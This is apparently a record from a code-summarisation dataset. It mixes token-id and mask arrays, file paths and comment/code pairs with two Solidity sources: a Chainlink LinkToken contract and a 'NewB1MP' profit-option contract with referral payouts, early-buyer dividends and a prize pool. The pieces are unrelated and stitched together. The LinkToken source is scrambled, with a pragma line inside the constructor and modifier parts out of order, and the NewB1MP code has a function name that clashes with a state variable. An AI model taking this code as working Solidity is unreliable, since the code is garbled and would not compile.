[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 309, 14015, 92, 473, 374, 92, 1611, 12648, 12648, 12648, 17877, 13, 480, 374, 13, 288, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/8453/0x88038752750D7717a19F2A681eF75e65Fb714f1E/sources/contracts/v0.6/LinkToken.sol
@dev LinkToken, an ERC20/ERC677 Chainlink token with 1 billion supply
contract LinkToken is ITypeAndVersion, LinkERC20, ERC677 { uint private constant TOTAL_SUPPLY = 10**27; string private constant NAME = 'ChainLink Token'; string private constant SYMBOL = 'LINK'; constructor() ERC20(NAME, SYMBOL) public pragma solidity >0.6.0 <0.8.0; { _onCreate(); } function typeAndVersion() external pure override virtual returns (string memory) { return "LinkToken 0.0.3"; } function _onCreate() internal virtual { _mint(msg.sender, TOTAL_SUPPLY); } function _transfer( address sender, address recipient, uint256 amount ) internal override virtual validAddress(recipient) { super._transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal override virtual validAddress(spender) { super._approve(owner, spender, amount); } address recipient ) virtual modifier validAddress( { require(recipient != address(this), "LinkToken: transfer/approve to this contract address"); _; } }
16,738,726
[ 1, 2098, 1345, 16, 392, 4232, 39, 3462, 19, 654, 39, 26, 4700, 7824, 1232, 1147, 598, 404, 20714, 285, 14467, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4048, 1345, 353, 467, 559, 1876, 1444, 16, 4048, 654, 39, 3462, 16, 4232, 39, 26, 4700, 288, 203, 225, 2254, 3238, 5381, 399, 19851, 67, 13272, 23893, 273, 1728, 636, 5324, 31, 203, 225, 533, 3238, 5381, 6048, 273, 296, 3893, 2098, 3155, 13506, 203, 225, 533, 3238, 5381, 26059, 273, 296, 10554, 13506, 203, 203, 225, 3885, 1435, 203, 565, 4232, 39, 3462, 12, 1985, 16, 26059, 13, 203, 565, 1071, 203, 683, 9454, 18035, 560, 405, 20, 18, 26, 18, 20, 411, 20, 18, 28, 18, 20, 31, 203, 225, 288, 203, 565, 389, 265, 1684, 5621, 203, 225, 289, 203, 203, 225, 445, 618, 1876, 1444, 1435, 203, 565, 3903, 203, 565, 16618, 203, 565, 3849, 203, 565, 5024, 203, 565, 1135, 261, 1080, 3778, 13, 203, 225, 288, 203, 565, 327, 315, 2098, 1345, 374, 18, 20, 18, 23, 14432, 203, 225, 289, 203, 203, 225, 445, 389, 265, 1684, 1435, 203, 565, 2713, 203, 565, 5024, 203, 225, 288, 203, 565, 389, 81, 474, 12, 3576, 18, 15330, 16, 399, 19851, 67, 13272, 23893, 1769, 203, 225, 289, 203, 203, 225, 445, 389, 13866, 12, 203, 565, 1758, 5793, 16, 203, 565, 1758, 8027, 16, 203, 565, 2254, 5034, 3844, 203, 225, 262, 203, 565, 2713, 203, 565, 3849, 203, 565, 5024, 203, 565, 923, 1887, 12, 20367, 13, 203, 225, 288, 203, 565, 2240, 6315, 13866, 12, 15330, 16, 8027, 16, 3844, 1769, 203, 225, 289, 203, 203, 225, 445, 389, 12908, 537, 12, 203, 565, 2 ]
pragma solidity ^ 0.4.24; // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns(uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns(uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns(uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns(uint256) { require(b != 0); return a % b; } } /** * @title BaseAccessControl * @dev Basic control permissions are setting here */ contract BaseAccessControl { address public ceo; address public coo; address public cfo; constructor() public { ceo = msg.sender; coo = msg.sender; cfo = msg.sender; } /** roles modifer */ modifier onlyCEO() { require(msg.sender == ceo, "CEO Only"); _; } modifier onlyCOO() { require(msg.sender == coo, "COO Only"); _; } modifier onlyCFO() { require(msg.sender == cfo, "CFO Only"); _; } modifier onlyCLevel() { require(msg.sender == ceo || msg.sender == coo || msg.sender == cfo, "CLevel Only"); _; } /** end modifier */ /** util modifer */ modifier required(address addr) { require(addr != address(0), "Address is required."); _; } modifier onlyHuman(address addr) { uint256 codeLength; assembly { codeLength: = extcodesize(addr) } require(codeLength == 0, "Humans only"); _; } modifier onlyContract(address addr) { uint256 codeLength; assembly { codeLength: = extcodesize(addr) } require(codeLength > 0, "Contracts only"); _; } /** end util modifier */ /** setter */ function setCEO(address addr) external onlyCEO() required(addr) onlyHuman(addr) { ceo = addr; } function setCOO(address addr) external onlyCEO() required(addr) onlyHuman(addr) { coo = addr; } function setCFO(address addr) external onlyCEO() required(addr) onlyHuman(addr) { cfo = addr; } /** end setter */ } /** * @title MinerAccessControl * @dev Expanding the access control module for miner contract, especially for B1MP contract here */ contract MinerAccessControl is BaseAccessControl { address public companyWallet; bool public paused = false; /** modifer */ modifier whenNotPaused() { require(!paused, "Paused"); _; } modifier whenPaused() { require(paused, "Running"); _; } /** end modifier */ /** setter */ function setCompanyWallet(address newCompanyWallet) external onlyCEO() required(newCompanyWallet) { companyWallet = newCompanyWallet; } function paused() public onlyCLevel() whenNotPaused() { paused = true; } function unpaused() external onlyCEO() whenPaused() { paused = false; } /** end setter */ } /** * @title B1MPToken * @dev This contract is One-Minute Profit Option Contract. * And all users can get their one-minute profit option as a ERC721 token through this contract. * Even more, all users can exchange their one-minute profit option in the future. */ interface B1MPToken { function mintByTokenId(address to, uint256 tokenId) external returns(bool); } /** * @title B1MP * @dev This is the old B1MP contract. * Because of some problem, we have decided to migrate all data and use a new one contract. */ interface B1MP { function _global() external view returns(uint256 revenue, uint256 g_positionAmount, uint256 earlierPayoffPerPosition, uint256 totalRevenue); function _userAddrBook(uint256 index) external view returns(address addr); function _users(address addr) external view returns(uint256 id, uint256 positionAmount, uint256 earlierPayoffMask, uint256 lastRefId); function _invitations(address addr) external view returns(uint256 invitationAmount, uint256 invitationPayoff); function _positionBook(uint256 index1, uint256 index2) external view returns(uint256 minute); function _positionOnwers(uint256 minute) external view returns(address addr); function totalUsers() external view returns(uint256); function getUserPositionIds(address addr) external view returns(uint256[]); } /** * @title NewB1MP * @dev Because the old one has some problem, we re-devise the whole contract. * All actions, such as buying, withdrawing, and etc., are responding and recording by this contract. */ contract NewB1MP is MinerAccessControl { using SafeMath for * ; // the activity configurations struct Config { uint256 start; // the activity's start-time uint256 end; // the activity's end-time uint256 price; // the price of any one-minute profit option uint256 withdrawFee; // the basic fee for withdrawal request uint8 earlierPayoffRate; // the proportion of dividends to early buyers uint8 invitationPayoffRate; // the proportion of dividends to inviters uint256 finalPrizeThreshold; // the threshold for opening the final prize uint8[10] finalPrizeRates; // a group proportions for the final prize, the final selected proportion will be decided by some parameters } struct Global { uint256 revenue; // reserved revenue of the project holder uint256 positionAmount; // the total amount of minutes been sold uint256 earlierPayoffPerPosition; // the average dividends for every minute been sold before uint256 totalRevenue; // total amount of revenue } struct User { uint256 id; // user's id, equal to user's index + 1, increment uint256 positionAmount; // the total amount of minutes bought by this user uint256 earlierPayoffMask; // the pre-purchaser dividend that the user should not receive uint256 lastRefId; // the inviter's user-id uint256[] positionIds; // all position ids hold by this user } struct Invitation { uint256 amount; // how many people invited uint256 payoff; // how much payoff through invitation } B1MP public oldB1MPContract; // the old B1MP contract, just for data migration B1MPToken public tokenContract; // the one-minute profit option contract Config public _config; // configurations Global public _global; // globa info address[] public _userAddrBook; // users' addresses list, for registration mapping(address => User) public _users; // all users' detail info mapping(address => Invitation) public _invitations; // the invitations info uint256[2][] public _positionBook; // all positions list mapping(uint256 => address) public _positionOwners; // positionId (index + 1) => owner mapping(uint256 => address) public _positionMiners; // position minute => miner uint256 public _prizePool; // the pool of final prize uint256 public _prizePoolWithdrawn; // how much money been withdrawn through final prize pool bool public _isPrizeActivated; // whether the final prize is activated address[] public _winnerPurchaseListForAddr; // final prize winners list uint256[] public _winnerPurchaseListForPositionAmount; // the purchase history of final prize winners mapping(address => uint256) public _winnerPositionAmounts; // the total position amount of any final prize winner uint256 public _currentWinnerIndex; // the index of current winner, using for a looping array of all winners uint256 private _winnerCounter; // the total amount of final prize winners uint256 public _winnerTotalPositionAmount; // the total amount of positons bought by all final prize winners bool private _isReady; // whether the data migration has been completed uint256 private _userMigrationCounter; // how many users have been migrated /** modifer */ modifier paymentLimit(uint256 ethVal) { require(ethVal > 0, "Too poor."); require(ethVal <= 100000 ether, "Too rich."); _; } modifier buyLimit(uint256 ethVal) { require(ethVal >= _config.price, 'Not enough.'); _; } modifier withdrawLimit(uint256 ethVal) { require(ethVal == _config.withdrawFee, 'Not enough.'); _; } modifier whenNotEnded() { require(_config.end == 0 || now < _config.end, 'Ended.'); _; } modifier whenEnded() { require(_config.end != 0 && now >= _config.end, 'Not ended.'); _; } modifier whenPrepare() { require(_config.end == 0, 'Started.'); require(_isReady == false, 'Ready.'); _; } modifier whenReady() { require(_isReady == true, 'Not ready.'); _; } /** end modifier */ // initialize constructor(address tokenAddr, address oldB1MPContractAddr) onlyContract(tokenAddr) onlyContract(oldB1MPContractAddr) public { // ready for migration oldB1MPContract = B1MP(oldB1MPContractAddr); _isReady = false; _userMigrationCounter = 0; // initialize base info tokenContract = B1MPToken(tokenAddr); _config = Config(1541993890, 0, 90 finney, 5 finney, 10, 20, 20000 ether, [ 5, 6, 7, 8, 10, 13, 15, 17, 20, 25 ]); _global = Global(0, 0, 0, 0); // ready for final prize _currentWinnerIndex = 0; _isPrizeActivated = false; } function migrateUserData(uint256 n) whenPrepare() onlyCEO() public { // intialize _userAddrBook & _users uint256 userAmount = oldB1MPContract.totalUsers(); _userAddrBook.length = userAmount; // migrate n users per time uint256 lastMigrationNumber = _userMigrationCounter; for (_userMigrationCounter; _userMigrationCounter < userAmount && _userMigrationCounter < lastMigrationNumber + n; _userMigrationCounter++) { // A. get user address address userAddr = oldB1MPContract._userAddrBook(_userMigrationCounter); /// save to _userAddrBook _userAddrBook[_userMigrationCounter] = userAddr; // B. get user info (uint256 id, uint256 positionAmount, uint256 earlierPayoffMask, uint256 lastRefId) = oldB1MPContract._users(userAddr); uint256[] memory positionIds = oldB1MPContract.getUserPositionIds(userAddr); /// save to _users _users[userAddr] = User(id, positionAmount, earlierPayoffMask, lastRefId, positionIds); // C. get invitation info (uint256 invitationAmount, uint256 invitationPayoff) = oldB1MPContract._invitations(userAddr); /// save to _invitations _invitations[userAddr] = Invitation(invitationAmount, invitationPayoff); // D. get & save position info for (uint256 i = 0; i < positionIds.length; i++) { uint256 pid = positionIds[i]; if (pid > 0) { if (pid > _positionBook.length) { _positionBook.length = pid; } uint256 pIndex = pid.sub(1); _positionBook[pIndex] = [oldB1MPContract._positionBook(pIndex, 0), oldB1MPContract._positionBook(pIndex, 1)]; _positionOwners[pIndex] = userAddr; } } } } function migrateGlobalData() whenPrepare() onlyCEO() public { // intialize _global (uint256 revenue, uint256 g_positionAmount, uint256 earlierPayoffPerPosition, uint256 totalRevenue) = oldB1MPContract._global(); _global = Global(revenue, g_positionAmount, earlierPayoffPerPosition, totalRevenue); } function depositeForMigration() whenPrepare() onlyCEO() public payable { require(_userMigrationCounter == oldB1MPContract.totalUsers(), 'Continue to migrate.'); require(msg.value >= address(oldB1MPContract).balance, 'Not enough.'); // update revenue, but don't update totalRevenue // because it's the dust of deposit, but not the revenue of sales // it will be not used for final prize _global.revenue = _global.revenue.add(msg.value.sub(address(oldB1MPContract).balance)); _isReady = true; } function () whenReady() whenNotEnded() whenNotPaused() onlyHuman(msg.sender) paymentLimit(msg.value) buyLimit(msg.value) public payable { buyCore(msg.sender, msg.value, 0); } function buy(uint256 refId) whenReady() whenNotEnded() whenNotPaused() onlyHuman(msg.sender) paymentLimit(msg.value) buyLimit(msg.value) public payable { buyCore(msg.sender, msg.value, refId); } function buyCore(address addr_, uint256 revenue_, uint256 refId_) private { // 1. prepare some data uint256 _positionAmount_ = (revenue_).div(_config.price); // actual amount uint256 _realCost_ = _positionAmount_.mul(_config.price); uint256 _invitationPayoffPart_ = _realCost_.mul(_config.invitationPayoffRate).div(100); uint256 _earlierPayoffPart_ = _realCost_.mul(_config.earlierPayoffRate).div(100); revenue_ = revenue_.sub(_invitationPayoffPart_).sub(_earlierPayoffPart_); uint256 _earlierPayoffMask_ = 0; // 2. register a new user if (_users[addr_].id == 0) { _userAddrBook.push(addr_); // add to user address list _users[addr_].id = _userAddrBook.length; // assign the user id, especially id = userAddrBook.index + 1 } // 3. update global info if (_global.positionAmount > 0) { uint256 eppp = _earlierPayoffPart_.div(_global.positionAmount); _global.earlierPayoffPerPosition = eppp.add(_global.earlierPayoffPerPosition); // update global earlier payoff for per position revenue_ = revenue_.add(_earlierPayoffPart_.sub(eppp.mul(_global.positionAmount))); // the dust for this dividend } else { revenue_ = revenue_.add(_earlierPayoffPart_); // no need to dividend, especially for first one } // update the total position amount _global.positionAmount = _positionAmount_.add(_global.positionAmount); // calculate the current user's earlier payoff mask for this tx _earlierPayoffMask_ = _positionAmount_.mul(_global.earlierPayoffPerPosition); // 4. update referral data if (refId_ <= 0 || refId_ > _userAddrBook.length || refId_ == _users[addr_].id) { // the referrer doesn't exist, or is clien self refId_ = _users[addr_].lastRefId; } else if (refId_ != _users[addr_].lastRefId) { _users[addr_].lastRefId = refId_; } // update referrer's invitation info if he exists if (refId_ != 0) { address refAddr = _userAddrBook[refId_.sub(1)]; // modify old one or create a new on if it doesn't exist _invitations[refAddr].amount = (1).add(_invitations[refAddr].amount); // update invitation amount _invitations[refAddr].payoff = _invitationPayoffPart_.add(_invitations[refAddr].payoff); // update invitation payoff } else { revenue_ = revenue_.add(_invitationPayoffPart_); // no referrer } // 5. update user info _users[addr_].positionAmount = _positionAmount_.add(_users[addr_].positionAmount); _users[addr_].earlierPayoffMask = _earlierPayoffMask_.add(_users[addr_].earlierPayoffMask); // update user's positions details, and record the position _positionBook.push([_global.positionAmount.sub(_positionAmount_).add(1), _global.positionAmount]); _positionOwners[_positionBook.length] = addr_; _users[addr_].positionIds.push(_positionBook.length); // 6. archive revenue _global.revenue = revenue_.add(_global.revenue); _global.totalRevenue = revenue_.add(_global.totalRevenue); // 7. select 1% user for final prize when the revenue is more than final prize threshold if (_global.totalRevenue > _config.finalPrizeThreshold) { uint256 maxWinnerAmount = countWinners(); // the max amount of winners, 1% of total users // activate final prize module at least there are more than 100 users if (maxWinnerAmount > 0) { if (maxWinnerAmount > _winnerPurchaseListForAddr.length) { _winnerPurchaseListForAddr.length = maxWinnerAmount; _winnerPurchaseListForPositionAmount.length = maxWinnerAmount; } // get the last winner's address address lwAddr = _winnerPurchaseListForAddr[_currentWinnerIndex]; if (lwAddr != address(0)) { // deal the last winner's info // deduct this purchase record's positions amount from total amount _winnerTotalPositionAmount = _winnerTotalPositionAmount.sub(_winnerPurchaseListForPositionAmount[_currentWinnerIndex]); // deduct the winner's position amount from this winner's amount _winnerPositionAmounts[lwAddr] = _winnerPositionAmounts[lwAddr].sub(_winnerPurchaseListForPositionAmount[_currentWinnerIndex]); // this is the winner's last record if (_winnerPositionAmounts[lwAddr] == 0) { // delete the winner's info _winnerCounter = _winnerCounter.sub(1); delete _winnerPositionAmounts[lwAddr]; } } // set the new winner's info, or update old winner's info // register a new winner if (_winnerPositionAmounts[msg.sender] == 0) { // add a new winner _winnerCounter = _winnerCounter.add(1); } // update total amount of winner's positions bought finally _winnerTotalPositionAmount = _positionAmount_.add(_winnerTotalPositionAmount); // update winner's position amount _winnerPositionAmounts[msg.sender] = _positionAmount_.add(_winnerPositionAmounts[msg.sender]); // directly reset the winner list _winnerPurchaseListForAddr[_currentWinnerIndex] = msg.sender; _winnerPurchaseListForPositionAmount[_currentWinnerIndex] = _positionAmount_; // move the index to next _currentWinnerIndex = _currentWinnerIndex.add(1); if (_currentWinnerIndex >= maxWinnerAmount) { // the max index = total amount - 1 _currentWinnerIndex = 0; // start a new loop when the number of winners exceed over the max amount allowed } } } // 8. update end time _config.end = (now).add(2 days); // expand the end time for every tx } function redeemOptionContract(uint256 positionId, uint256 minute) whenReady() whenNotPaused() onlyHuman(msg.sender) public { require(_users[msg.sender].id != 0, 'Unauthorized.'); require(positionId <= _positionBook.length && positionId > 0, 'Position Id error.'); require(_positionOwners[positionId] == msg.sender, 'No permission.'); require(minute >= _positionBook[positionId - 1][0] && minute <= _positionBook[positionId - 1][1], 'Wrong interval.'); require(_positionMiners[minute] == address(0), 'Minted.'); // record the miner _positionMiners[minute] = msg.sender; // mint this minute's token require(tokenContract.mintByTokenId(msg.sender, minute), "Mining Error."); } function activateFinalPrize() whenReady() whenEnded() whenNotPaused() onlyCOO() public { require(_isPrizeActivated == false, 'Activated.'); // total revenue should be more than final prize threshold if (_global.totalRevenue > _config.finalPrizeThreshold) { // calculate the prize pool uint256 selectedfinalPrizeRatesIndex = _winnerCounter.mul(_winnerTotalPositionAmount).mul(_currentWinnerIndex).mod(_config.finalPrizeRates.length); _prizePool = _global.totalRevenue.mul(_config.finalPrizeRates[selectedfinalPrizeRatesIndex]).div(100); // deduct the final prize pool from the reserved revenue _global.revenue = _global.revenue.sub(_prizePool); } // maybe not enough to final prize _isPrizeActivated = true; } function withdraw() whenReady() whenNotPaused() onlyHuman(msg.sender) withdrawLimit(msg.value) public payable { _global.revenue = _global.revenue.add(msg.value); // archive withdrawal fee to revenue, but not total revenue which is for final prize // 1. deduct invitation payoff uint256 amount = _invitations[msg.sender].payoff; _invitations[msg.sender].payoff = 0; // clear the user's invitation payoff // 2. deduct earlier payoff uint256 ep = (_global.earlierPayoffPerPosition).mul(_users[msg.sender].positionAmount); amount = amount.add(ep.sub(_users[msg.sender].earlierPayoffMask)); _users[msg.sender].earlierPayoffMask = ep; // reset the user's earlier payoff mask which include this withdrawal part // 3. get the user's final prize, and deduct it if (_isPrizeActivated == true && _winnerPositionAmounts[msg.sender] > 0 && _winnerTotalPositionAmount > 0 && _winnerCounter > 0 && _prizePool > _prizePoolWithdrawn) { // calculate the user's prize amount uint256 prizeAmount = prize(msg.sender); // set the user withdrawal amount amount = amount.add(prizeAmount); // refresh withdrawal amount of prize pool _prizePoolWithdrawn = _prizePoolWithdrawn.add(prizeAmount); // clear the user's finally bought position amount, so clear the user's final prize clearPrize(msg.sender); _winnerCounter = _winnerCounter.sub(1); } // 4. send eth (msg.sender).transfer(amount); } function withdrawByCFO(uint256 amount) whenReady() whenNotPaused() onlyCFO() required(companyWallet) public { require(amount > 0, 'Payoff too samll.'); uint256 max = _global.revenue; if (_isPrizeActivated == false) { // when haven't sent final prize // deduct the max final prize pool max = max.sub(_global.totalRevenue.mul(_config.finalPrizeRates[_config.finalPrizeRates.length.sub(1)]).div(100)); } require(amount <= max, 'Payoff too big.'); // deduct the withdrawal amount _global.revenue = _global.revenue.sub(amount); // send eth companyWallet.transfer(amount); } function withdrawByCFO(address addr) whenReady() whenNotPaused() onlyCFO() onlyContract(addr) required(companyWallet) public { // send all erc20 require(IERC20(addr).transfer(companyWallet, IERC20(addr).balanceOf(this))); } function collectPrizePoolDust() whenReady() whenNotPaused() onlyCOO() public { // when final prize has been sent, and all winners have received prizes require(_isPrizeActivated == true, 'Not activited.'); // collect the prize pool dust if (_winnerCounter == 0 || now > _config.end.add(180 days)) { _global.revenue = _global.revenue.add(_prizePool.sub(_prizePoolWithdrawn)); _prizePoolWithdrawn = _prizePool; } } function totalUsers() public view returns(uint256) { return _userAddrBook.length; } function getUserAddress(uint256 id) public view returns(address userAddrRet) { if (id <= _userAddrBook.length && id > 0) { userAddrRet = _userAddrBook[id.sub(1)]; } } function getUserPositionIds(address addr) public view returns(uint256[]) { return _users[addr].positionIds; } function countPositions() public view returns(uint256) { return _positionBook.length; } function getPositions(uint256 id) public view returns(uint256[2] positionsRet) { if (id <= _positionBook.length && id > 0) { positionsRet = _positionBook[id.sub(1)]; } } function prize(address addr) public view returns(uint256) { if (_winnerTotalPositionAmount == 0 || _prizePool == 0) { return 0; } return _winnerPositionAmounts[addr].mul(_prizePool).div(_winnerTotalPositionAmount); } function clearPrize(address addr) private { delete _winnerPositionAmounts[addr]; } function countWinners() public view returns(uint256) { return _userAddrBook.length.div(100); } function allWinners() public view returns(address[]) { return _winnerPurchaseListForAddr; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns(uint256); function balanceOf(address who) external view returns(uint256); function allowance(address owner, address spender) external view returns(uint256); function transfer(address to, uint256 value) external returns(bool); function approve(address spender, uint256 value) external returns(bool); function transferFrom(address from, address to, uint256 value) external returns(bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); }
assign the user id, especially id = userAddrBook.index + 1
_users[addr_].id = _userAddrBook.length;
1,031,956
[ 1, 6145, 326, 729, 612, 16, 29440, 612, 273, 729, 3178, 9084, 18, 1615, 397, 404, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1082, 202, 67, 5577, 63, 4793, 67, 8009, 350, 273, 389, 1355, 3178, 9084, 18, 2469, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0xBc57130D3A379f49FcCe5E52Ec215B60722a4Ef5/sources/YFI2CStakingTwoPercent.sol
YFI2C token contract address reward rate 730.00% per year staking fee 1.5 % unstaking fee 0.5 % unstaking possible after 720 hours
